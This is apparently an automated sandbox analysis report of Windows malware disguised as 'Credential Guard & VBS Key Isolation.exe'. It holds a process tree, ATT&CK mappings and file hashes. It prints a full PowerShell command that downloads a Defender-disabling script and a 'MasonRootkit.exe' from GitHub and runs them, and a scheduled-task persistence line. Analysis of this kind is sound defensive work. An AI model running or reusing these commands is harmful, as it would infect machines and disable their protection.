        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        69⤵
        
        PID:7872
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        68⤵
        
        PID:7188
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        67⤵
        
        PID:3444
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        66⤵
        
        PID:6680
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        65⤵
        
        PID:2752
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        64⤵
        
        PID:5860
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        63⤵
        
        PID:4940
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        62⤵
        
        PID:4200
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        61⤵
        
        PID:4524
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        60⤵
        
        PID:6556
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        59⤵
        
        PID:5376
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        58⤵
        
        PID:3388
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        57⤵
        
        PID:7396
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        56⤵
        
        PID:4976
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        55⤵
        
        PID:1344
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        54⤵
        
        PID:4824
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        53⤵
        
        PID:4420
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        52⤵
        
        PID:4296
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        51⤵
        
        PID:4080
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        50⤵
        
        PID:4088
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        49⤵
        
        PID:2896
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        48⤵
        
        PID:6760
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        47⤵
        
        PID:3040
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        46⤵
        
        PID:7440
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        45⤵
        
        PID:4504
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        44⤵
        
        PID:488
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        43⤵
        
        PID:7944
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        42⤵
        
        PID:7708
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        41⤵
        
        PID:7392
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        40⤵
        
        PID:1244
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        39⤵
        
        PID:2284
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        38⤵
        
        PID:3860
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        37⤵
        
        PID:4776
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        36⤵
        
        PID:7128
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        35⤵
        
        PID:6564
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        34⤵
        
        PID:6784
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        33⤵
        
        PID:6288
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        32⤵
        
        PID:7076
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        31⤵
        
        PID:6804
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        30⤵
        
        PID:6560
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        29⤵
        
        PID:6340
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        28⤵
        
        PID:2208
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        27⤵
        
        PID:4300
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        26⤵
        
        PID:384
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        25⤵
        
        PID:3068
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        24⤵
        
        PID:1924
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        23⤵
        
        PID:1048
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        22⤵
        
        PID:2056
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        21⤵
        
        PID:5460
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        20⤵
        
        PID:4676
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        19⤵
        
        PID:5836
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        18⤵
        
        PID:4912
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        17⤵
        
        PID:5484
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        16⤵
        
        PID:6056
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        15⤵
        
        PID:972
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        14⤵
        
        PID:5208
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        13⤵
        
        PID:6020
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        12⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4564
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        11⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3560
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        10⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5516
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3600
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4200
        
        C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4188
      - C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:384
    - - C:\Windows\Credential Guard & VBS Key Isolation.exe
        
        "C:\Windows\Credential Guard & VBS Key Isolation.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2984
  - - C:\Windows\Credential Guard & VBS Key Isolation.exe
      "C:\Windows\Credential Guard & VBS Key Isolation.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1092
- - C:\Windows\Credential Guard & VBS Key Isolation.exe
    "C:\Windows\Credential Guard & VBS Key Isolation.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2588
- C:\Windows\Credential Guard & VBS Key Isolation.exe
  "C:\Windows\Credential Guard & VBS Key Isolation.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5216
  - - C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe
      "C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"
      4⤵
      PID:3952
    - - C:\ProgramData\MasonRootkit.exe
        
        "C:\ProgramData\MasonRootkit.exe"
        5⤵
        
        PID:5600
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp94BE.tmp.bat""
        5⤵
        
        PID:2652
      - C:\Windows\system32\timeout.exe
        
        timeout 3
        6⤵
        Delays execution with timeout.exe
        
        PID:1544
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "Credential Guard & VBS Key Isolation" /tr "C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1444

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{feadb4b4-663b-41b8-8b9a-9099557b6c74}
1⤵
PID:2164

C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe
"C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
1⤵
PID:2204

C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe
"C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
1⤵
PID:2200

C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe
"C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
1⤵
PID:5548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\MasonRootkit.exe

Filesize
596KB

MD5
bb2fd6c1b233fd2f08a6a43ef860bcb6

SHA1
1cd9ea091bc0d7f907fcd8cf8c8b9d3187e6dc04

SHA256
8c4cddfb3723ecf013526733f93bd5f4408bc463c6a28ccb41b3fb63504ee9ce

SHA512
2ee649cf68e5121bd4ad3e51bdf0c71d773a8d0c67ce262356156b312221285bf62409ac2e2c5c5748adc31d3c94b24777f2918bdb9fcf488c61b0e2c6dc50b5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Credential Guard & VBS Key Isolation.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MasonRootkit.exe.log

Filesize
1KB

MD5
3982d6d16fd43ae609fd495bb33433a2

SHA1
6c33cd681fdfd9a844a3128602455a768e348765

SHA256
9a0a58776494250224706cbfbb08562eec3891fb988f17d66d0d8f9af4253cf9

SHA512
4b69315f5d139b8978123bebd417231b28f86b6c1433eb88105465a342339c6c6b8c240a2ca8d2a9c1fca20136c8c167b78a770ab0664231f6e1742291cbf1aa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
3d086a433708053f9bf9523e1d87a4e8

SHA1
b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

SHA256
6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

SHA512
931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
124edf3ad57549a6e475f3bc4e6cfe51

SHA1
80f5187eeebb4a304e9caa0ce66fcd78c113d634

SHA256
638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675

SHA512
b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
3f19358ab591430583d8963ef6787647

SHA1
7ce919464a2017619c0947df68021db12682abc3

SHA256
70cc3edc1e4157bf6912958cff73381072f7b20e7f461d3b828434776a473f62

SHA512
4997c669695dd0521fa0d1a564b74ff7db91803bcb49480011ad6bdbeafbed0c8f91ea8aaa62a130a9ec449e5b7a9d262b4b039c377f66a96d6012da300873f0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
b1348590b09be631f2f9acfe6c11a0b5

SHA1
76fe5cc90ac3f1d2dd6bc14137367bd955a81322

SHA256
b6cec9c5b30f078645a784251b84fafe6d1e4a2a122b34368610c663bcd2d54c

SHA512
b6099a6a08b798a10df65495485c6699bda0024c8fd6f224130935259f836839e040d2997df7d7f2305d851060b292d30ee756919dc898171a1e97ab853afa18

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
21658a938f16cbc8f1f44574e2b08978

SHA1
909b92573898b120ccec606c024ce96aadc8b5fd

SHA256
fc5075e7b1b45e329ef56472618f3713ba71b9857b87c0c3d00260b4d582771d

SHA512
4c7592f7bf4c1f1016b0ab0e9a8fd3cf5b5befac17826f14cbd40e1d981607bf6429a9463cb8da0b7df406314a480e8724047d5f2ec1d2a0eac481f3f3a6db49

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
39e1c3cd6e00a762df9752e9aaa80dbe

SHA1
159a12d9ae01579eeaf035042267d6491bba3664

SHA256
8cc030f42f51ff37dc4ab94514bfacb208b399629c8cc968ae620cf59e7ee3b1

SHA512
6ef777e4bb175eed3f8af701910137ae30fb37b9117fdce0cfb5fb13b3ce47049d22a288b778e77a9559e4e81e1b9696d94a1e772fa8ad28e55102f3e29dd6d0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
01e4f261c0a4ff46f2d2e1928f9a7a74

SHA1
5eabf36a2a818906660c9b4f7a82d19d9341a86c

SHA256
e9bf7d0761cd36c693b1061fc5d48b718af07b94bb42ccc8027e721940e17790

SHA512
04f3510c8117ff4aa29f0ecc83c1ea8472d5efdfe6877fd7e8799f5291c4fcd572ee1d7d107fe52dc396f54efdec819f0e260893a267f8007468b52e12a9aa9e

Download Submit
C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe

Filesize
612KB

MD5
5e1eb1a67d40ccae40dee2a037ca6c64

SHA1
786b54d3d451ea40faeeb20fd30a38744862eeb5

SHA256
80e5cb11ae2512da3b7be501b469d6fc1a69a2017a143b9897023da9e366325f

SHA512
0484da209f0c8edff5d1f08b841f3134008ff72fb563fa48a15f96c8ad23fdfb82cc8a59bc729f2db3d359e18558d6f4fbaf4b40955a38787472db438a043205

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aoeaflhk.wxe.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp94BE.tmp.bat

Filesize
164B

MD5
f97ed303016cd5b3948ec46b9e0c73b8

SHA1
2ea34e84a8c394149091f772f7c507826341aa0a

SHA256
5484995ae05b2ecbba7c751c29c85dda63166c4d2cf242baf551ba7ebed1a3e2

SHA512
355d26df71b057a4632bc410cc9ff1bb70cad253f65ba901064eb3ce5007d7f5bfbf1cd6f52f81203940f75a2827118c4e865d09477c31593ee852dfded3642d

Download Submit
C:\Windows\Credential Guard & VBS Key Isolation.exe

Filesize
55KB

MD5
dac20ddb2cfb3cb89ce5bcd907c796df

SHA1
84ec40d9a683ed62a25f8e1e570b0a2ee3987af0

SHA256
9a727d5cfc4c67cb0d3c0f8195087042fd04b83bb29cbe0c0439a4094a2adfc7

SHA512
5a3199f76bc18eb20a1e9e7d0bdbadbff3deaa06ec00b3aee33360f1497cc22ae0bc1a125aeaadcef1647c5f03cb386bfbc62375ca5e70ac57c01168043c8762

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan

Filesize
3KB

MD5
1babe42c0fe77bbcc6f201422e02a6f1

SHA1
01d659837044faba4b5133ca64ae3efcf2540b6a

SHA256
c168b05bf0e2c46c348a2280ba49516222bb389aa85ae25ba317424424790f49

SHA512
2e454f614797abba48ac813bcc155bdf0e15f57bfe97ad355b7c61c63ea44ad1b1f8fdda0ab3e6c8e68c46bd384d64d9901e643de89dbb48d8023b7ae25464cc

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
memory/388-1506-0x00007FF99AB50000-0x00007FF99AB60000-memory.dmp

Filesize
64KB

Download
memory/388-1505-0x000002DCC85D0000-0x000002DCC878B000-memory.dmp

Filesize
1.7MB

Download
memory/388-1504-0x000002DCC85D0000-0x000002DCC878B000-memory.dmp

Filesize
1.7MB

Download
memory/388-1503-0x000002DCC85D0000-0x000002DCC878B000-memory.dmp

Filesize
1.7MB

Download
memory/388-1500-0x000002DCC85D0000-0x000002DCC878B000-memory.dmp

Filesize
1.7MB

Download
memory/388-1502-0x000002DCC85D0000-0x000002DCC878B000-memory.dmp

Filesize
1.7MB

Download
memory/488-2540-0x0000000000590000-0x00000000005A4000-memory.dmp

Filesize
80KB

Download
memory/628-1497-0x0000018577D00000-0x0000018577EBB000-memory.dmp

Filesize
1.7MB

Download
memory/628-1498-0x00007FF99AB50000-0x00007FF99AB60000-memory.dmp

Filesize
64KB

Download
memory/628-1496-0x0000018577D00000-0x0000018577EBB000-memory.dmp

Filesize
1.7MB

Download
memory/628-1489-0x0000018576190000-0x00000185762CE000-memory.dmp

Filesize
1.2MB

Download
memory/628-1494-0x0000018577D00000-0x0000018577EBB000-memory.dmp

Filesize
1.7MB

Download
memory/628-1492-0x0000018577D00000-0x0000018577EBB000-memory.dmp

Filesize
1.7MB

Download
memory/628-1493-0x0000018577D00000-0x0000018577EBB000-memory.dmp

Filesize
1.7MB

Download
memory/684-2463-0x00000000002D0000-0x00000000002E4000-memory.dmp

Filesize
80KB

Download
memory/692-1508-0x0000019997FE0000-0x000001999819B000-memory.dmp

Filesize
1.7MB

Download
memory/692-1510-0x0000019997FE0000-0x000001999819B000-memory.dmp

Filesize
1.7MB

Download
memory/692-1515-0x00007FF99AB50000-0x00007FF99AB60000-memory.dmp

Filesize
64KB

Download
memory/692-1514-0x0000019997FE0000-0x000001999819B000-memory.dmp

Filesize
1.7MB

Download
memory/692-1512-0x0000019997FE0000-0x000001999819B000-memory.dmp

Filesize
1.7MB

Download
memory/692-1511-0x0000019997FE0000-0x000001999819B000-memory.dmp

Filesize
1.7MB

Download
memory/780-2502-0x0000000000420000-0x0000000000434000-memory.dmp

Filesize
80KB

Download
memory/900-2319-0x0000000000080000-0x0000000000094000-memory.dmp

Filesize
80KB

Download
memory/1028-11-0x00007FF9BC913000-0x00007FF9BC915000-memory.dmp

Filesize
8KB

Download
memory/1028-12-0x0000000000220000-0x0000000000234000-memory.dmp

Filesize
80KB

Download
memory/1080-4166-0x00000000004F0000-0x0000000000504000-memory.dmp

Filesize
80KB

Download
memory/1092-382-0x000000006FA00000-0x000000006FA4C000-memory.dmp

Filesize
304KB

Download
memory/1320-95-0x000000006FA00000-0x000000006FA4C000-memory.dmp

Filesize
304KB

Download
memory/1320-118-0x0000000007720000-0x000000000773A000-memory.dmp

Filesize
104KB

Download
memory/1320-105-0x00000000069A0000-0x00000000069BE000-memory.dmp

Filesize
120KB

Download
memory/1320-150-0x00000000079B0000-0x0000000007A46000-memory.dmp

Filesize
600KB

Download
memory/1320-117-0x0000000007D70000-0x00000000083EA000-memory.dmp

Filesize
6.5MB

Download
memory/1320-94-0x00000000073C0000-0x00000000073F2000-memory.dmp

Filesize
200KB

Download
memory/1320-106-0x0000000007400000-0x00000000074A3000-memory.dmp

Filesize
652KB

Download
memory/1320-14-0x0000000002E20000-0x0000000002E56000-memory.dmp

Filesize
216KB

Download
memory/1320-153-0x0000000007920000-0x0000000007931000-memory.dmp

Filesize
68KB

Download
memory/1320-52-0x0000000006420000-0x000000000646C000-memory.dmp

Filesize
304KB

Download
memory/1320-139-0x0000000007790000-0x000000000779A000-memory.dmp

Filesize
40KB

Download
memory/1320-50-0x0000000006400000-0x000000000641E000-memory.dmp

Filesize
120KB

Download
memory/1320-15-0x0000000005640000-0x0000000005C68000-memory.dmp

Filesize
6.2MB

Download
memory/1848-267-0x000000006FA00000-0x000000006FA4C000-memory.dmp

Filesize
304KB

Download
memory/2120-2384-0x00000000005D0000-0x00000000005E4000-memory.dmp

Filesize
80KB

Download
memory/2164-337-0x0000000140000000-0x00000001401A1000-memory.dmp

Filesize
1.6MB

Download
memory/2164-1486-0x0000000140000000-0x00000001401A1000-memory.dmp

Filesize
1.6MB

Download
memory/2164-339-0x0000000140000000-0x00000001401A1000-memory.dmp

Filesize
1.6MB

Download
memory/2164-341-0x00007FF9D8C30000-0x00007FF9D8CEE000-memory.dmp

Filesize
760KB

Download
memory/2164-340-0x00007FF9DAAD0000-0x00007FF9DACC5000-memory.dmp

Filesize
2.0MB

Download
memory/2432-2704-0x0000000000B30000-0x0000000000B44000-memory.dmp

Filesize
80KB

Download
memory/2536-3589-0x0000000000080000-0x0000000000094000-memory.dmp

Filesize
80KB

Download
memory/2816-2675-0x00000000004F0000-0x0000000000504000-memory.dmp

Filesize
80KB

Download
memory/2944-4860-0x0000000000DE0000-0x0000000000DF4000-memory.dmp

